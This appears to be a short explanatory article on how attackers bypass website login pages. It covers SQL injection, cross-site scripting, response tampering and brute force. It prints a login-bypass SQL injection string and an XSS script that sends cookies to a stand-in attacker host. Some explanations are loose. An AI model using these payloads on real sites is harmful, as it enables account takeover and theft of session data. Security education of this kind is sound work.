How hackers bypass website login pages

 

SQL Injection:

SQL injection is a type of attack that allows an attacker to manipulate or inject malicious SQL code into a website's database through a vulnerable input field, such as a login form. The attacker can use this vulnerability to bypass the website's login page and gain unauthorized access to sensitive information or even take control of the entire website.

For example, an attacker can use SQL injection to bypass a login page by submitting a specially crafted username and password that contain SQL code, such as:

Username: ' or 1=1 --

Password: anything

The SQL code injected into the login form above would cause the website's database to always return a valid login response, effectively bypassing the login page altogether.

Cross-Site Scripting (XSS):

Cross-site scripting, or XSS, is a type of vulnerability that allows an attacker to inject malicious scripts into a website that other users may unwittingly execute. This type of attack is often used to steal sensitive information such as cookies, session tokens, or login credentials.

An attacker can use XSS to bypass a login page by injecting a script that captures the user's login credentials and sends them to the attacker's server, effectively bypassing the login page altogether.

For example, an attacker could inject the following code into a vulnerable input field:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

This code would cause the user's browser to send their cookie information to the attacker's server, allowing the attacker to bypass the login page and gain unauthorized access to the user's account.

Manipulating the Response:

Manipulating the response is a technique used by attackers to modify the response sent by a web server to a user's browser. By intercepting and modifying the response, an attacker can bypass the login page and gain access to sensitive information or control over the website.

For example, an attacker can intercept a website's response to a login request and modify it to always return a valid login response, effectively bypassing the login page altogether.

Brute Force Attack:

A brute force attack is a type of attack in which an attacker attempts to guess a user's password by systematically trying every possible combination of characters until the correct password is found.

An attacker can use a brute force attack to bypass a login page by trying different combinations of usernames and passwords until they find a valid login response. This type of attack is often slow and resource-intensive, but it can be effective against weak passwords or poorly secured login systems.